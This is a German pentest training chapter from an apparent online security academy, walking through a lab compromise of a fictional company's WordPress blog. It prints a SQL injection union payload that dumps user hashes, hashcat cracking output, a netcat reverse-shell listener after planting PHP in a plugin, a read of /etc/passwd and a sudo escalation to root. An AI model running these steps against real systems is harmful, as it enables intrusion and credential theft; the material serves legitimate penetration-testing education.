Über die SQL-Injection im Blog der Oblivius Education Inc. konnte nicht nur die Datenbankversion ermittelt, sondern jeglicher Datenbankinhalt extrahiert werden. Es konnten beispielsweise die WordPress-Benutzer und ihre Passworthashes über den SQL-Befehl 1 union select group_concat(user_login,user_pass) from wp_users -- im topic-Parameter ausgelesen werden:
admin$P$B1pBMSBYvW7wZVnwPJeBybzaBdMOXA/
Die erfolgreiche Rekonstruktion des Passworts anhand des o. a. Hashs war der Durchbruch, um sich als Administrator im Blog anmelden zu können:
~$ hashcat -m 400 -a 0 wp-hashes.txt /usr/share/wordlists/rockyou.txt –force
[..]
$P$B1pBMSBYvW7wZVnwPJeBybzaBdMOXA/:*sexy_sara
Session..........: hashcat
Status...........: Cracked
Hash.Type........: phpass, WordPress (MD5), phpBB3 (MD5), Joomla (MD5)
Hash.Target......: $P$B1pBMSBYvW7wZVnwPJeBybzaBdMOXA/
Time.Started.....: Wed Jan 17 08:03:26 2018
Time.Estimated...: Wed Jan 17 08:35:19 2018
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
[..]
Nach Rücksprache mit dem Auftraggeber sollte auf den Ergebnissen aufbauend versucht werden, weiter in das IT-System bzw. in das Netzwerk vorzudringen. Da über die Administratorenoberfläche Plugins bearbeitet werden können, haben wir an dieser Stelle PHP-Code platziert, um uns eine reverse shell vom Zielsystem zu beschaffen:
~$ nc -lvp 4444
listening on [any] 4444 ...
10.222.1.38: inverse host lookup failed: Unknown host
connect to [10.222.1.23] from (UNKNOWN) [10.222.1.38] 51013
python -c ’import pty; pty.spawn("/bin/bash")’
www-data@blog:/var/www/wp-admin$
Ausgehend von unserer Shell vom Blog der Oblivius Education Inc., hatten wir nun unprivilegierten Zugriff auf das IT-System. Eine nähere Analyse der Systemkonfiguration deckte im Anschluss einen Systembenutzer namens Sara Watts auf, die für ihren Benutzeraccount dasselbe Passwort vergeben hatte wie der WordPress-Administrator zuvor. Zudem hatte dieser Systembenutzer uneingeschränkten Zugriff (root-Berechtigung). Mit Aufdeckung dieser Informationen galt unser Zielsystem endgültig als kompromittiert.
www-data@blog:/var/www/wp-admin$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[..]
sw:x:1000:1000:Sara Watts„,:/home/sw:/bin/bash
[..]
www-data@blog:/var/www/wp-admin$ su sw
Password: *sexy_sara
sw@blog:/var/www/wp-admin$ sudo -l
Matching Defaults entries for sw on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sw may run the following commands on this host:
(ALL : ALL) NOPASSWD: ALL
sw@blog:/var/www/wp-admin$ sudo su
root@blog:/var/www/wp-admin# id
uid=0(root) gid=0(root) groups=0(root)
Im Hinblick auf unsere Aufgabenstellung als Pentester der Dubius Payment Ltd. sollten wir an dieser Stelle nicht vergessen, dass jedes Zielsystem Informationen über weitere Netzbereiche offenbaren könnte.
Letzte Änderung: 2022-12-15
Werfen Sie einen Blick auf die Kapitel vom Pentest Training und lernen Sie Pentesting:
Entdecken Sie die Welt des Penetration Testing. Lernen Sie Netzwerke zu infiltrieren sowie erfolgreich Systeme und Anwendungen zu penetrieren. Eignen Sie sich das notwendige Hacking-Handwerkszeug an und setzen Sie es bei der Durchführung von profesionellen Penetrationstest ein. Werden Sie zum Penetrationstester. Hier finden Sie die öffentlichen und kostenlosen Unterlagen zum Pentest Training der binsec academy GmbH. Die binsec academy GmbH bietet die dazugehörigen virtuellen Labor-Umgebungen und Zertifizierungen an. Das vermittelte Wissen zu Hacking and Penetration Testing ist aber allgemeingültig.
Die binsec academy GmbH ist der europäische Anbieter für Online Security Trainings mit virtuellen Labor-Umgebungen. Kernbestandteil aller Security Trainings ist die Vermittlung von Praxis, Praxis und nochmals Praxis. Im Wiki finden Sie hier die öffentlichen und frei verfügbaren Kurs-Materialien. Die Theorie in die Praxis umsetzen, können sie auf binsec-academy.com.